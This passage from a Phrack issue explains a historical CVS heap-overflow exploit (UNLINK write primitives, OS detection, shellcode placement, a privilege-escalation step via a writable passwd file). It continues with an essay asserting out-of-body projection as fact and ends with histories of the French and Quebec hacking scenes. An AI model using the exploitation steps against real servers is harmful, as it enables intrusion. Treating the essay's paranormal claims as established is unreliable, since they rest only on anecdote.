Notice: Practically, it is not enough to only create a fake next chunk. You need to make sure a second next chunk is also available. Indeed, DLmalloc is going to check the PREV_INUSE byte of the second next chunk to check if it the next chunk buffer is free or occupied. The problem is that we can not put '\0' characters inside the fake chunk, so we need to put a negative size field, to make sure that the next chunk of the next chunk is before the first chunk. Practically, it works and I have used this technique many times to code heap overflows. Check the macro SIZE_VALUE inside the exploit code for more information. Its value is ‑8.

Now, we will dig a little bit deeper inside the exploit. Let's take a look at the function detect_remote_os().

Here is the code:

int detect_remote_os(void) {

info("Guessing if remote is a cvs on a linux/x86...\t"); if(range_crashed(0xbfffffd0, 0xbfffffd0 + 4) || !range_crashed(0x42424242, 0x42424242 + 4)) {

printf(VERT"NO"NORM", assuming it's *BSD\n"); isbsd = 1; return (0);

} printf(VERT"Yes"NORM" !\n"); return (1);

}

With this technique, we will trigger an overwrite operation to an address that is always valid. This location will be a high address inside the stack, for example 0xbfffffd0. If the server answers properly, it means it did not crashed. If it did not crashed despite the overflow, it either means that the UNLINK call worked (i.e. It means we are under Linux with a stack mapped below 0xc0000000) or that the UNLINK call did not get triggered (= not Linux).

To verify this, we will then try to write to an invalid, non mapped address, such as 0x42424242. If the server crashes, then we know for sure that the exploit does work correctly and that we are now on a Linux system. If it's not the case, we switch to the FreeBSD exploitation.

Right now, the only thing that we are able to do is to trigger a call to UNLINK in a reliable way and to make sure that everything is working properly. We now need to get more serious about this, and get to the exploitation process.

Generally, to successfully exploit such a vulnerability, we need to know the address of the shellcode and the address of a function pointer in memory to overwrite. By digging more into the problem, it is always possible to make the exploit work with only one address instead of two. It may even be possible to make it work without providing any memory addresses! Here is the technique used to accomplish such a feat.

Indeed, we are able to allocate an infinite number of buffers next to each others, to corrupt their chunk headers and to free() them after with server_write_entries(). Being able to do this means that we can trigger more than one call to UNLINK, and this is what is going to make the difference. Being able to overwrite more than one memory address is a technique frequently used inside heap overflow exploits and usually makes the exploit targetless. In the following lines, I will explain how this behavior can lead us to the creation of the memcpy_remote() function, which takes the same arguments as the famous memcpy() function with the exception that it writes in the memory space of the exploited process. When we are able to trigger as many UNLINK calls as we want, we will see that it's possible to turn the exploitation scenario in a "write anything anywhere" primitive.

What are the benefits of being able to do this?

If we can write what we want at the address that we want, without any size constraints, we can copy the shellcode in memory. We will write it at a really low address of the stack, and I will explain why later. To know what address to overwrite, we will overwrite the majority of the stack with addresses that point to the beginning of the shellcode. That way, we will overwrite the saved instruction pointer from a call to free() and we will obtain the control of %eip.

All the art of this exploitation resides in the advance use of the UNLINK macro. We will go in the details, but before, let's remember what is the purpose of the UNLINK macro. The UNLINK macro takes off an entry from the doubly linked list. Indeed, the pointer "prev" of the next chunk following the one we want to unlink is switched with the "prev" pointer of the chunk we are currently unlinking. Also, the pointer "next" of the preceding chunk before the one we want to unlink is switched with the "next" pointer of the chunk we are currently unlinking.

Remember the fact that only free malloc chunks are in the doubly linked lists, which are then grouped by inside binlists.

The "prev" field is named BK and it is located at offset 12 of a malloc chunk. The "next" field is named FD and is at offset 8 of malloc chunk.

We can then obtain the following macros:

#define CHUNK_FD 8 #define CHUNK_BK 12 #define SET_BK(x) (x ‑ CHUNK_FD) #define SET_FD(x) (x ‑ CHUNK_BK)

If we want to write 0x41424344 at 0x42424242, we need to call the UNLINK macro the following way:

UNLINK (SET_FD(0x41424344), SET_BK(0x42424242)).

The thing is that we want to write "ABCD" at 0x42424242, but UNLINK will write both at 0x42424242 and at 0x41424344. "ABCD" is not a valid address.

The solution to mitigate this problem is to write a character at a time. We will thus write "A", then "B", then "C" and after this "D" until there is nothing left to write. To achieve this, we need a range of 0xFF characters that we are willing to trash. It is easy to obtain. Indeed, if we take a really high address in the stack, we would find ourselves overwriting environment variables that were first stocked at the top of the stack.

At the time, we were writing this exploit for stacks that were mapped below the Kernel space / User space, which was 0xc0000000. The exact address that I chose was 0xc0000000 ‑ 0xFF.

Basically, if we want to write "ABCD" at 0xbfffd000, we will need to execute the following calls to UNLINK:

UNLINK (UNSET_FD(0xbfffd000), UNSET_BK(0xbfffff41)) (0x41 being the hexadecimal equivalent of 'A').

UNLINK (UNSET_FD(0xbfffd001), UNSET_BK(0xbfffff42)) (0x42 being the hexadecimal equivalent of 'B').

And so on ...

So, if we are able to execute as many UNLINK as we want, and if we have a range of address of 0xFF that can be modified without consequences on program execution, then we are able to make 'memcpy' calls remotely.

To sum up:

1. We normalize the heap to put it in a predictable state.

2. We overwrite the size field of a previously allocated chunk of an "an_entry" struct. When this an_entry entry will be free(), the memory allocator will think that the next chunk is located inside data under our control. This next fake chunk will then be marked as free, and the two memory blocks will be consolidated as one. Malloc will then take the next chunk off its doubly linked list of free chunks, and it will thus trigger an UNLINK, with a FD and BK under our control.

3. Since we can allocate as many "an_entry" entries as we want and free them all at the same time thanks to server_write_entries(), we can trigger as many UNLINK as we want. This leads us, as we just saw, to the creation of the memcpy_remote() function, that will let us write what we want and where we want.

4. We use the function memcpy_remote() to write the shellcode at a really low address of the stack.

5. We then overwrite each address in the stack, starting from the top, until we hit a saved instruction pointer.

6. When the internal function that frees the chunk will return, our shellcode will then be executed.

Here it is !

Notice: We have chosen a really low address in the stack, because even if we hit an address that is not currently mapped, this will trigger a pagefault(), and instead of aborting the program with a signal 11, it will stretch the stack with the expand_stack() function from the kernel. This method is OS generic. Thanks bbp.

‑‑[ 4 ‑ A couple of words on the BSD exploitation

As promised, here is the explanation of the technique used to exploit the FreeBSD version. Consider the fact that with only minor changes, this exploit was working on other operating systems. In fact, by switching the shellcode and modifying the hardcoded high addresses of the heap, the exploit was fully functional on every system using PHK malloc. This exploit was not restricted only to FreeBSD, a thing that the script kiddies didn't know.

I like to see that kind of tricks inside exploits. It makes them powerful for the expert, and almost useless to the kiddie.

The technique explained here is an excellent way to take control of the target process, and it could have been easily used in the Linux version of the exploit. The main advantage is that this method does not use the magic of voodoo, so it can help you bypass the security checks done by the malloc code.

First, the heap needs to be filled to put it in a predictable state, like for all the heap overflow exploits. Secondly, what we want to do basically is to put a structure containing function pointers right behind the buffer that we can overflow, in order to rewrite functions pointers. In this case, we overwrote the functions pointers entirely and not partially.

Once this is done, the only thing that remains to do is to repeatedly send big buffers containing the shellcode to make sure it will be available at a high address in the heap.

After, we need to overwrite the function pointer and to trigger the use of this same function. As a result, the shellcode will then be run.

Practically, we used the CVS command "Gzip‑stream" that allocated an array of function pointers, inside a subroutine of the serve_gzip_stream() function.

Let's recap:

1. We fill_holes() the PHK's malloc allocator so that the buffer that we are

going to overwrite is before a hole in the heap.

2. We allocate the buffer containing 4 pointers to shellcode at the right place.

3. We call the function "Gzip‑stream" that will allocate an array of function pointers right inside our memory hole. This array will be located right after the buffer that we are going to overflow.

4. We trigger the overflow and we overwrite a function pointer with the address of our shellcode (the macro HEAPBASE in the exploit). See OFFSET variable to know how many bytes we need to overflow.

5. With the "Entry" command, we add numerous entries that contain NOPs and shellcode to fill the higher addresses of the heap with our shellcode.

6. We call zflush(1) function which end the gziped‑stream and trigger an overwrited function pointer (the zfree one of the struct z_stream). And so on, we retrieve a shell. If we are not yet root, we look if one cvs's passwd file is writable on the whole cvs tree, which was the case at the time on most of servers, we modify it to obtain a root account. We re‑exploit the cvs server with this account and yes it is ‑ we have rO0t on the remote. :‑)

‑‑[ 5 ‑ Conclusion

We thought that it was worth presenting the exploit the way it was done here, to let the reader learn by himself the details of the exploitation code, which is from now on available in the public domain, even though the authors did not want it.

From now on, this section will be included in the upcoming releases of phrack. Each issue, we will present the details of an interesting exploit. The exploit will be chosen because its development was interesting and the the author(s) had a strong determination to succeed in building it. Such exploits can be counted on the fingers of your hands (I am talking about the leaked ones). With the hope that you had fun reading this ...

‑‑[ 6 ‑ Greeting

Hacking your brain

_

_/B\_ W\_

(* *) Phrack #64 file 14 (* *)

| ‑ |

| | Hacking your brain: | |

| |

| | The projection of consciousness | |

| |

| | by keptune | |

(___________________________

Dead Underground, for this new Phrack issue, The Circle of Lost Hackers has decided to start one more new section entitled "Hacking you brain". We already hear you: "what the hell this subject is in relation with computer hacking???". Well, as we already mentioned in other articles, for us hacking is not only computer hacking but it's much more.

The following article, as you will understand, talks about out of body experiences. By publishing this article in a magazine like phrack, we know that it will bring scepticism. The author, in this article, claims that such out of body experiences are possible. One of the main rule of the underground is to not be blind and trust everything simply because an authority claims it, to try everthing by yourself with criticism and a totally open mind spirit. It's why, for us, the unreasoning credulity is something more blameworthy than a presumptuous and septic guy who reject facts without examinating if they are real.

Even if an out of body experience is interesting, what is more interesting is the new implication that it leads up. It's unrecognized by the current Science even if it's known for ages. If the following information are true ‑ what we affirm ‑ then it's revolutionary. Be able to live out of your body means that the dead is no the end but only one step that we all have to pass over.

All these reasons make us think that publishing an article like that in Phrack is a good idea. Because before being a computer hacking magazine, phrack is dedicated to spread the occult knowledge, unrecognized and subversive.

We let you discover ‑ and experiment ‑ by yourselves this fantastic phenomenon that are lucid dreams and out of body projections so that you can make up your own opinion.

Have a good read.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The projection of consciousness

by keptune

Since the Ancient times, as far as we know, humankind has been animated by the most impressive curiosity for almost everything, especially for this strange thing that is the Mind : something concrete although impalpable to the subject, yet invisible to the world. Some of the oldest carvings and paintings that have been discovered in Africa are full of dream visions and abstract symbols, most likely depicting chamanic inner travels. However, it appears that the .power. to investigate how the mind works and to retrieve pieces of information on the consciousness and its mecanisms has been monopolized early in History by a few ones. Call them chamans, sorcerers, wisemen, etc., they have gained a social position through the ages by grabing the exclusive rights of these investigations. Which might has been wise at first, as the initiations to these practices were mostly done from master to disciple in order to keep the teaching intact. But indirectly, it has led the majority to be ignorant of these subjects, almost fearful about the workings of the consciousness and what could modify it. When the time came for the brand new .modern science. to study the Mind, during the XIXth century, some would have thought that everything was about to change. But in place it was only the continuity of the past traditions, although by fathering new ones: psychologists, psychiatrists, neurologists. Nowadays, if you do not have at least a master degree in one of these subject, you are simply considered ignorant by the scientists about the mind. That.s right, your . own . mind, your consciousness. You are just not .authorized. to talk about it, or mocked at if you try, like a child who would try to build a skyrocket . cute, but impossible. It is no more than another form of monopoly, to control the main dogma of materialism in our society. It is like saying that you are not intelligent enough to think about it, so just do not try, serious people are doing it for you and will tell you what to think and how to apprehend your own life. Meanwhile, just work, consume and enjoy.

But guess what: these people, most likely unconsciously as they are being .manipulate. too by the main dogma, just want to make you think that you canno.t know anything about the mind, your . own . consciousness, without them. And you would be a fool to try in spite of this all‑powerful fact. Which is just wrong. Seriously. In fact, you are the one who is all‑powerful about his own consciousness. But you must use it, and bring it to unknown territories in order to understand it by yourself, which is the only way. Some might be thinking at this point: my mind is what it is, what is he talking about? Sometimes I am sad, or joyful, but my mind stays the same beneath that. Well, wrong. You just did not try to change it, to push it to it.s extreme. I am talking about something with the same subjective difference than the physical reality and a dream. Think Matrix, less the glasses, the robots and the giant killing computer. I am talking about a skill that anyone can develop: projection of consciousness, one of the most amazing faculty of the mind.

What is projection of consciousness? Have you ever lucid dream? I mean, dreaming and knowing that you are dreaming? Realizing that the world around you is just an illusion created by your mind and you did not notice it at first? That is a type of projection of consciousness, the lowest one in fact. You are projecting your mind out of the feeling of your physical body, into another reality. Dreaming is a type of projection of consciousness, although non‑lucid one are the lowests from the lowest, not very interesting for the real mind raiders. But it.s a good bridge to do some more serious projection activities. At this point of the article, I know that some are already thinking: whatever, dreams are not real. WRONG. That is a typical shortcut from the dominant materialistic, so‑called .scientific., dogma, which considers that all that is not palpable is not real. Then your mind as a unity of perception and consciousness is not real, because guess what, even the best EEG canno.t find where the mind sets in the brain (if it is in the brain at all). All they do is record electrical signals here and there. For your mind, the dream is as solid and real as physical reality. That is why you wake up sweating from a nightmare, with you heartbeat at 200, and still all frightened during a few minutes. Or at the opposite, you wake up with a feeling of completeness after a really amazing and beautiful dream. Right? A dream is impalpable, but it is real nonetheless for the observer, you. And now think about this: about one sixth of your life is made of dreams. Almost an entire seperate life, which most people just disregard as unreal (=impalpable) and therefore uninteresting. That is just sad, when you know all the amazing possibilities of the mind, which can . and will . really transform your life by bringing your attention to a whole new dimension. Something noboby has ever talked to you about I guess. Something that is still mostly undiscovered, where you are a real pionnier.

If you have never even lucid dream, you are situated right now at the first floor of a skyscrapper, ignoring that there is an elevator just behind you that could bring you in no time to a flabbergasting landscape and a whole new perspective. Seriously. You canno.t know what your mind, your consciousness, is made of unless you accept to explore it by yourself. The modern scientific method tends to analyze from an outside point of view, which just canno.t led to a full understanding. It would be like trying to understand how you watch works without opening it up at one time or another.

I guess many are thinking right now about shrooms, pot and crack, salvia divinorum, entheogens, hallucinations etc. That.s on the exact opposite of what I am about to explain. You do not need anything more than yourself (and hopefully your mind too) to project in full consciousness. Plants have been used a lot by chamans to attain different levels of perception, but nowadays it is very unlikely that you know a chaman that could guide you into a safe practice using them. Taking some is therefore not recommended for projection of consciousness, as you need to be fully aware. Moreover, some might just think afterwards that it was hallucinations due to the drugs, which would ruin the whole point of the experience.

So let us start. From my own experience (it is always important to speak by experience on this subject and not from books or theories, even more as the point is to gain a first‑hand knowledge of all this), there are different levels of projection (the fact of putting your consciousness out of the perception of the physical universe, into another form of reality). From the lowest to the highest:

‑ dreams

‑ lucide dreams

‑ wake initiated lucid dreams

‑ full physical projection

‑ higher projections

Everyone knows dreams. Well in fact some people never remember their dreams, but everyone can after only a few days of training (thinking hard about the last image in mind just after waking up for example is a good way to progressively remember full dreams). I won.t talk about it here as everyone can achieve this state quite easily.

Lucid dream is a type of dream that not everyone has experienced, or for some only a few times. It is dreaming and realizing that something is wrong, and eventually that you are in a dream. It opens up a whole new perspective to dreaming: have you ever thought of controlling the whole universe? Well, with some training, you can in lucid dreams. It is also a place to meet solidified parts of your psyche, your subconscious. Characters become interfaces with deeper parts of your mind. You can retrieve old of lost information or interact with your own mind by creating psychic anchors through them. You are like inside of you own mind, I mean . really . inside, the universe around you is a symbolic materialized form of what you thought was so impalpable in the waking state. You can go on the lowest levels of your mind .programs. (i.e. your personality etc.) and modify them. Or you can just create your own worlds, and enjoy the landscapes, the .people. you meet (parts of you in fact, with sometimes what seems to be a real kind of independent behaviour and own proto‑mind). Something I am experimenting with lately is fusioning with the strongest .people. (part of my psyche) that I encounter. I just ask to fusion and our bodies melt into one. It is a really amazing experience each time, and I gain a lot of knowledge that I did not thought I had. It is like reunifying my mind little by little. Well, the possibilities are almost limitless, so just think about anything you would like to do, and you can! It is also a good place to face blocages and fight them. The result in the physical life is real if you win. Some have destroyed their OCD in this state, others have gained enough willpower to stop drugs or take control of their lives etc.

Becoming lucid for the first time can be however some kind of a challenge. Fortunately, many types of training have been developped. Here are a few ones. I encourage you to google these for more information and technics:

‑ Make your watch beep every x minutes. It can be quite annoying for other people though. However, this beep will progressively be integrated by your subconscious mind and will start to appear in your dreams after a week or two. What you must do (in physical reality) is check out your surrounding everytime your watch beeps. Do this seriously, it is really important to get totally involved into this verification of reality. Try to remember your whole day, and the past days, for chronological problems etc. Do not think that you are in the physical reality but really imagine that you might be dreaming. If you realize that there is a problem, well, congratulations, you are doing a lucid dream now.

‑ Do some reality checks the same way when you see something strange, or on the opposite (which might work better for some) when you do something really basic, like washing your hands, or opening a door. Do it each time for a few days or weeks, and very seriously (at least for one minute). You will become lucid if you try this while dreaming after it becomes a habit (as it will be integrated by the subconscious mind).

‑ Before you go to sleep, while laying down in your bed, feel the world around you, feel that you are lucid, fully aware of yourself. Repeat a few times .I WILL be lucid tonight, I WILL be lucide tonight .. while holding the feeling of lucidity. Do this until you start sleeping if you want.

Once you become lucid in a dream, stay calm and enjoy. Repeat loudly every five seconds (to prevent you from risking to lose your lucidity and being caught back into a normal dream) that you are lucid, it will help you stay in this state. You can try to fly to move more easily into your created universe (lift your legs and even move your arms as if you were swimming might help at first), but do not try harder stuff like going through walls, teleporting or creating big objects from nothing before you have enough experience to stabilize entirely your dream. Indeed the mind does not like lucid dreaming at first and it will try to wake you up (in this case, if you feel that the dream is losing consistency and the image is disapearing, concentrate very hard on your five senses, touch the ground, look closely to some details etc. This will help to get you back into the dream but you might lose a lot of mental energy doing so so repeat actively that you are lucid after that otherwise you might lose your lucidity entirely), or to make you lose your lucidity (typically, by catching you back into a scenario . a naked member of the opposite sex (or same, depending of the sexual preferences) might appear, someone will tell you that something has happened to your house, a giant dinosaur might start chasing you etc., anything that would get you involved into the dream will be used, so do not get caught and stay focused!

If you have imagination and willpower (which I am sure is the case), you will see changes in your everyday life and personality in a matter of weeks of practice. Your centers of interest might change, as well as what you feel is important in life, so stay aware of your needs and aspirations. However, this kind of dream initiated lucid dream is still not as powerful as a .full. lucid dream.

What I mean by full lucid dream is a dream initiated from the waking state. Ok, some might think that dreams can only be initiated from this state, as we go to sleep etc. But do you ever remember the exact instant when you enter your dream? And moreover, being fully aware during the whole process? It is a really flabbergasting experience the first few times. It is like being suddenly propelled into another world. If you thought dreams appeared slowly, that is far from reality, as the transition from your black mind vision to the full‑colored and 3D dream takes no more than a second. You suddenly feel a new body, into a whole new world surrounding you. The experience of a WILD (Wake Initiated Lucid Dream) is extremely joyful and what one would call .real.. Appart from what is happening (you are flying etc.) the world seems as real and solid as the physical world would. But it is more of an Alice in Wonderland thing going on. Doing a WILD is a bit more tricky than a dream initiated lucid dream, but nothing impossible to do fortunately. One technic that is very effective is visualizing (=imagining and feeling) yourself walking into a known place (a mall, a street in your neibourghood etc.) I think that it is important to visualize some place you know (and not an imaginary one) as this will stimulate your subconscious in a passive way: it is less demanding to the mind to remember things than to create them. I will also prevent you from daydreaming a scenario and eventually fall asleep without noticing it. So just lay down, close your eyes, relax for a few minutes and start visualizing without moving. It is important to really feel yourself in that place. Do not stop whatever you feel or happens. The transition will be really quick as I said. Once you suddenly find yourself propelled into a dream environment, concentrate on stabilizing your lucidity but touching things, watch closely whatever is near you etc. And then . Well, enjoy!

About enjoying, by the way, some might want to trigger sexual fantasies in these states. Everything is possible here, remember, and all will look as solid as it could. In fact sex is even better most of the times, more intense. But climax will bring you back into the waking state, and before that you may lose your lucidity as you will get too involved into the scenario. There are much more interesting things to do while lucid dreaming, but I understand that some want to try different things.

A higher type of projection has been mastered through times by a few ones. Originally, it was used by chamans and sorcerers in traditional societies to retrieve information on a member of the tribe or the village, i.e. his illness, or discover hidden things. This technic is called by some out‑of‑body experience, but I prefer the term physical projection. Indeed, although real, lucid dreams stay mostly in a totally subjective universe, there are you own creation. But the mind, our consciousness, are not limited by the physical boundaries. Crazy? Well everyone thinks that before he actually does it. What I am saying here is that it is possible to be in the physical world while not inside your physical body. How does it work? It is highly debated even amongst those who practice this. However, it works, which is the important point here. The easiest way to understand this is by trying it by yourself. One technic that I developped early in my experimentations with the mind was the physical projection initiated from a lucid dream. That.s right, a projection of consciousness inside another projection. It is really easy so even if you are a full‑time skeptic, give it a try. Once you become lucid in a dream, following the technics explained hereabove, allow yourself to fall backwards without trying to catch oneself. This will trigger very powerful sensations, so be prepared to the shock of your life, really. Most of the times, this is what will happend: while falling backwards, the image of your dream will disappear as if you were losing consciousness in the physical world (it becomes black). A strong feeling of being pulled down will appear and you will hear some very loud noises, like if you were standing really closely next to an aircraft about to take off. It can be quite frightening, but stay focused. You might see some bright flashes of light, like being propelled at full speed inside a tunnel formed by black clouds during a storm at night. Suddenly, you will find yourself floating a few inches above your bed. You will most likely feel very weird, and might not see your body, although if you try to touch your hands you will feel them, but your body might be invisible (or more precisely like the predator in the eponym movie). The environment will be strange too: you room will be your physical room, but something will feel different. In fact, you will be able to get through every object, like a ghost mostly. However the environment will also be very permeable to your thoughts, so if you concentrate to see something it will appear until you stop to focus. You will feel very different than in any dream, even lucid, and will be in full possession of your memory. You should keep your first projection of this type short however, in order to keep vivid memories from it. You will soon understand first‑hand the differences with dreams and how to act in this new state of existence. However, be very careful with what you think or do, as even if this type of projection is very stable (unlike a lucid dream), you can soon be sucked back into a dream‑like environment, or your body (your might feel tingling sensations in your limbs at this point, and have painful areas on your body, but don.t worry). So stay focused. A test that many projectors like to do is putting a playing card on top of a furniture without looking at it unless they are in a physical projection, in order to check it later and confirm the projection. But even without that, you will soon be amazed to observe that you can verify a lot of what you see in this state. For example, this happened to me a few years ago : it was early in the morning and my girlfriend left the bedroom, to take a shower or eat her breakfast I thought. However I was very tired and soon get back in a very deep relaxed state. I pushed my consciousness frontwards and found myself hoavering above my body, fully aware. I floated through the room, then through the door, the hall, another door, and eventually was in the living room. I was surprised to see that my girlfriend was sleeping in a f.tus position on one of the sofas, in its left corner, her face against the back and my coat (which I had left in the hall) as a blanket. I felt a powerful force sucking me back inside my body at this point. I immediately checked what I have seen: everything, down to the slightest detail, was correct. This kind of thing has happened to me a lot since then. You do not have to be religious, of even believe in life after death to make this experience, just try it before you make your own judgement, but give it a try at least.

As you read in the experience I shared just above, I did not project physically from within a lucid dream. Indeed you can project from full conscious state too, which is even more powerful. If you want to learn more about these technichs, I suggest you buy some books about this subject, like the trilogy of Robert A. Monroe, a classic written during 30 years of experimenting by an electrical ingenieur which found himself projecting without even willing it. There are many good books out there. However projecting from a fully aware state is much more difficult (but feasable of course), so be prepared to spend some time in training (usually a conscious projection can be attained in a few days for the gifted to a few months for the ungifted, like I was).

It seems that there are higher states of projection, apparently in some all‑mental levels, but in an objective, all‑mental, universe. I have yet to get into these, but hopefully some of you will get there in a few years. Let the community of projectors of consciousness know your discoveries at this time, as it is all about sharing. Indeed, projecting your consciousness is even more than a life‑changing experience, it is a matter of protecting your freedom, your freedom to exist as a mind and a body, and to use both to their extreme limits, and even beyond. Noone can take that from you, even locked into the smallest and deepest prison of all. It is not even about believing, it is about trying by yourself to push your limits out of the ordinary, out of the known into mostly or fully unknown territories, and discover your true nature doing so.

See you in other levels of consciousness.

International scenes

_

_/B\_ W\_

(* *) Phrack #64 file 15 (* *)

| ‑ |

| | International scenes | |

| |

| | By Various | |

| |

| | various@nsa.gov | |

(___________________________

More or less 10 years after the last "International scenes" in phrack 48, the resurrection arrives. The purpose of this article is to present you hacking/cracking/phreaking scenes of different countries. This article is not writen by a single people but by people from all these differents counties. It's why we ask you to send us descriptions of your scenes. It could be about groups, busts, technologies, great hackers or anything you think is interesting.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There was once a time when hackers were basically isolated. It was almost unheard of to run into hackers from countries other than the United States. Then in the mid 1980's thanks largely to the existence of chat systems accessible through X.25 networks like Altger, tchh and QSD, hackers world‑wide began to run into each other. They began to talk, trade information, and learn from each other. Separate and diverse subcultures began to merge into one collective scene and has brought us the hacking subculture we know today. A subculture that knows no borders, one whose denizens share the common goal of liberating information from its corporate shackles.

With the incredible proliferation of the Internet around the globe, this group is growing by leaps and bounds. With this in mind, we want to help further unite the communities in various countries by shedding light onto the hacking scenes that exist there. If you want to contribute a file about the hacking scene in your country, please send it to us at phrack@well.com.

This month we have files about the scenes in France, Quebec and Bazil.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A personal view of the french underground [1992‑2007]

++++++++++++++++++++++++++++++++++++++++

by Nicholas Ankara

The french scene has evolved a lot since years 1980'. Before 1993, there was no internet provider in France, which explain why the hacking scene in France has been mostly focused on phreaking and hardware‑related hacking before this date. The first ISP (Worldnet) was founded by an influent hacker so‑called NeurAlien. I am not sure that his identity was of public knowledge at this time, but I dont think Im taking too many risks by revealing this.

NeurAlien was also the founder of what is known to be the first electronic french ezine about hacking, widely reknown as NoWay. NoWay started to be published in 1992 and did not deal so much with Internet Hacking, but more about the hacking on the MiniTel network. MiniTel is the ancestor of the Internet in France, and its use seems to have justified the late of using the Internet in this country. However, MiniTel was extremely slow and expensive, which incitated a wide amount of hacking to be developped around this. NeurAlien wrote at that time many philes about minitel hacking, most of them published in NoWay. He also participated in the writing of an International Scene article in Phrack #46 where he explained the early hacking movement in France.

NoWay inspired a lot of french hackers in the 90' and many other ezine, such as NoRoute, were born after NoWay stopped publication, around 1994. NoRoute was (afaik) the first french ezine dealing with Internet hacking as a main topic. Unlike NoWay, NoRoute was done by multiple authors, who confirmed to be highly‑skilled hackers in the future, since some of them founded one of the most influent international hacking group in the 90', known as ADM (Association De Malfaiteurs, that could be translated to 'Criminals Association'). That same group, under additional influences, gave a new life to the antisecurity movement in the early 2000, by creating public web forums to justify the non‑disclosure of exploit software.

Affiliated to these peoples, another old school hacker named Larsen pioneered Radio Hacking in France. Larsen founded the CRCF (Chaos Radio Club of France), whoose research was compiled into an ezine called HVU. HVU gave lots of information about frequencies used by various services in France, including the police and other military groups of the country. Unfortunately, Larsen got busted later on, as he was getting out of his home in bicycle, by weaponed authorities who considered him as a terrorist, while he was just a happy hacker making no profit from his research. After this episode, it got more difficult for him to continue underground activities related to this topic, more precisely it was way more difficult to publish about it with the treat of a new so‑called antiterrorist raid. This story reflects without any doubt the total incomprehension between hackers and national services of the country. It is more and more difficult to find contacts in publicly known meeting such as the 2600‑fr which happens in Paris every month because of these reasons.

Another major underground ezine that demarked itself by its technical quality was so called MJ13 (Majestic13). It was mostly written by french hackers, also students in reknown french computer universities. MJ13 contained material about virii, cracking, hardware hacking, and other related topics, but ceased publication after only 4 issues. There were also attempt to group hackers for legal reasons (as in creating a syndicate of hackers somehow) by the Hacker Emergency Response Team (HERT) founded by Gaius. Gaius (ACZ) was a french hacker of the early 90' reknown for his social engineering hacks into FBI and CIA telephone network. Surprisingly, he never got jailed but at some point he had to move from the country, officially to escape authorities. HERT was never a hacking group but included a lot of hackers from other international groups such as ADM, w00w00, TESO, and others.

As already stated, a major burden that always made the french hacking scene to suffer was the omnipresence of the french secret service (DST: Direction de la Surveillance du Territoire) and their voluntee to infiltrate the french hacking scene by any mean. A good example of this was the fake hacking meeting created in the middle 1990' so called the CCCF (Chaos Computer Club France) where a lot of hackers got busted under the active participation of a renegate hacker so called Jean‑Bernard Condat. Since that time, the french hacking was deeply armed and a very suspectful ambiant spirit is regning for more than 10 years. Most of the old school hackers decided to stop contributing to the scene, which went even more underground, to avoid infiltration of services.

As the Internet was getting democratized in the late 90', a new generation of hackers, ignorant of what happened with the CCCF, started to recreate a public face for the french hacking scene, and new phreaking and hacking groups started to create new influential ezines. The most reknown new school phreaking ezine was called Cryptel but had to cease publication because of major busting at the beginning of 2000' . A lot of other ezines were born from unexperienced hackers but mots of them were ripped from existing material, or brang a very poor technical quality, which made them not worth mentioning any further.

During the late 90' / early 2000, other groups such as RTC created an ezine which dealt mostly with network oriented hacking, but ceased publications after a few issues. Another group was created under the name Exile, which grouped french, canadians, and belgians young hackers. This group started as unexperienced but soon got quite a reputation by writing a lot of highly technical articles for various ezines such as the canadian quebecer magazine IGA, and later into Phrack. As the group evolved into another one under the name Devhell, their articles about new techniques of exploits, reverse engineering, never got into a dedicated ezine. There was once an attempt to create such an ezine but the difficulties of finding serious collaborators made it impossible.

Last but not least, an international group of (partly french) highly‑skilled hackers was created at the beginning of years 2000 also known as Synnergy Networks. This group got very known by publishing exploit software that were seemingly very hard to write (such as the first publications of heap overflow exploits) and writing references articles about the subject, some of them being published in Phrack Magazine. Just as other mentioned groups, it is very hard for a non‑hacker to know if those groups are still in activity because of their closed‑door nature by default and the absence of any up‑to‑date information on the web about them. It is safer for everyone serious about hacking to stay low‑profile to avoid miscellanous troubles and keep the necessary freedom on performed activities. Nevertheless, it can be mentioned without fear that hacking is not closed to a given group, and the most active hackers in each group got in collaboration at some point to create a stronger manpower in order to face the merchandization of computer security and the increasing difficulty of succesfull computer networks intrusions.

The french underground is also very active in the field of software cracking and many very skilled french crackers are still in activity. Just as their hackers alter‑egos, french crackers learnt to stay very paranoid about their activities to avoid busting, and for this reason I will not mention any names of group or persons active on that topic. Actually I may be able to quote only one young group of reverse engineers who slightly overlap with the cracking community : the French Reverse Engineering Team (FRET). FRET holds a public forum on the topic of reverse engineering and none of their activities appear to be illegal. This forum stands for an educational place for the young generation of coders to learn low‑level information about closed‑source software.

There were also a lot of other groups but I would not define them as hacking groups, as most of them were created by beginners or profit‑oriented associations for other reasons than fun with hacking. Generally, those groups did not help to renew the hacking underground mindset and thus do not have a place in a file about the french underground history. The underground exists and remain very active. It is up to each hacker to enter the underground by providing material to other hackers. Hacking is not about disclosure of exploits or fame‑seeking on public forums or mailing lists. It is about having fun by learning what you are not supposed to learn. Because of this, the underground will always exist, even if no trace of it remains on the WWW.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Quebec scene

================

by g463

Yesterday ...

‑‑‑‑‑‑‑‑‑‑‑‑‑

NPC (Northern Phun Co.) is believed to be the first hacking and phreaking group in the history of the Quebec scene. One of their member, known as Gurney Halleck, has already wrote on the 418 scene in the "International scenes" article in Phrack 44. NPC has released a bunch of good quality ezines back in 1992 to 1994 about phreaking, hacking and anarchy.

Active around 1994 to 1997, the second big hacking and phreaking group was C‑A (Corruption Addicts). This group was pretty active back then and they had the reputation to do some blackhat activities. They have hacked high profile organizations, such as the GRC, FBI, SCRS, DND and 11 banks, like the National Bank of Canada.

After C‑A dissolved, two other groups took the lead of the Quebec scene around 1995, Total Control and FrHack. Both published a couple of ezines. Then, around 1998, these groups left the scene, and at the same time they made room for Pyrofreak and IGA.

In 2000, there was the reborn of sector_x. The goal of this group was to bring the best hackers that the province of Quebec had to offer under the same roof. The idea was great, but ultimately, it failed. There were a lot of really good conversations and interesting exchanges between people, but there were no concrete and constructive projects at all. In fact, this was always one of the major problem of the Quebec scene ...

... Today

‑‑‑‑‑‑‑‑‑

